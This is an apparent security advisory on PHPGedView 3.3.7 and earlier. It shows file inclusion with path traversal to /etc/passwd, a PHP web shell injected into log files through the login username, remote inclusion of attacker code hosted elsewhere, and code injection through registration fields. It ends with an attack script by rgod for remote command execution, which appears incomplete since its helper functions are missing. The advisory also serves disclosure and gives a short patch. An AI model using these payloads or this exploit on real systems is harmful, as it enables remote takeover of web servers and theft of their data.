PhpGedView is "a revolutionary genealogy program which allows you to view and edit your genealogy on your website." Two security vulnerabilities in PHPGedView allow remote attackers to either cause the execution of arbitrary code either directly or by injecting PHP commands into the log files used by the product.
Vulnerable Systems:
* PHPGedView version 3.3.7 and prior
Arbitrary code execution:
In help_text_vars.php at lines 31-32: ...
require $PGV_BASE_DIRECTORY.$confighelpfile["english"];
if (file_exists($PGV_BASE_DIRECTORY.$confighelpfile[$LANGUAGE])) require $PGV_BASE_DIRECTORY.$confighelpfile[$LANGUAGE];
...
If registers_globals on yo can include/view an arbitrary file from local resources: http://[target]/help_text_vars.php?PGV_BASE_DIRECTORY=../../../../../../../etc/passwd
So, we have remote code execution, example: try to login with:
username: <?php system($_GET[cmd]);?>
password: [nothing]
Now in log file we have: 2005.12.20 13:16:06 - 127.0.0.1 - Login Failed -><?php system($_GET[cmd]);?> <-
So you can launch operating system commands: http://[target]/[path]/help_text_vars.php?cmd=ls%20-la& PGV_BASE_DIRECTORY=./index/pgv-200512.log
Also, if register_globals on and allow_url_fopen on, you can include arbitrary code from a remote location: http://[target]/[path]/help_text_vars.php?cmd=dir& PGV_BASE_DIRECTORY=http://some_location/path/code.txt
Patch:
At line 30 simply add: ...
require('config.php');
...
PHP code injection:
If magic_quotes_gpc off, you can inject arbitrary php code in "user_language", "user_email" and "user_gedcomid" arguments when you register, example, in one of this field type: ';error_reporting(0);if(isset($suntzu)){system($_GET[suntzu]); die('HiMaster!');}echo'
After you can launch commands: http://[target]/[path]/?suntzu=ls%20-la
Exploit:
<?php
# ---php_ged_view_337_xpl.php 16.31 20/12/2005 #
# #
# PHPGedView <= 3.3.7 remote commands execution #
# coded by rgod #
# site: http://rgod.altervista.org #
# #
# usage: launch from Apache, fill in requested fields, then go! #
# #
# Sun-Tzu:"If the enemy leaves a door open, you must rush in. #
if (($host<>'') and ($path<>'') and ($cmd<>''))
{
$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$host=str_replace("\r\n","",$host);
$path=str_replace("\r\n","",$path);
if ($LOCATION<>'')
{
#STEP 2 -> Remote file inclusion... (this works with register_globals on & allow_url_fopen on)
$packet="GET ".$p."help_text_vars.php?suntzu=". $cmd. "&PGV_BASE_DIRECTORY=".$LOCATION." HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: Ziggy -- The Clown From Hell!!\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";die;}
}
else
{echo "<strong>step 2 skipped, fill location field if you need this</strong><br>";}
//if you are here...
echo "Exploit failed...";
}
else
{echo "Note: on remote location you need this code in <br>
http:/[remote_location]/filename.txt :<br>";
echo nl2br(htmlentities("
<?php
echo\"HiMaster!\";ini_set(\"max_execution_time\",0);system(\$suntzu);?>
?>
"));
echo "Fill * required fields, optionally specify a proxy...";}
?>
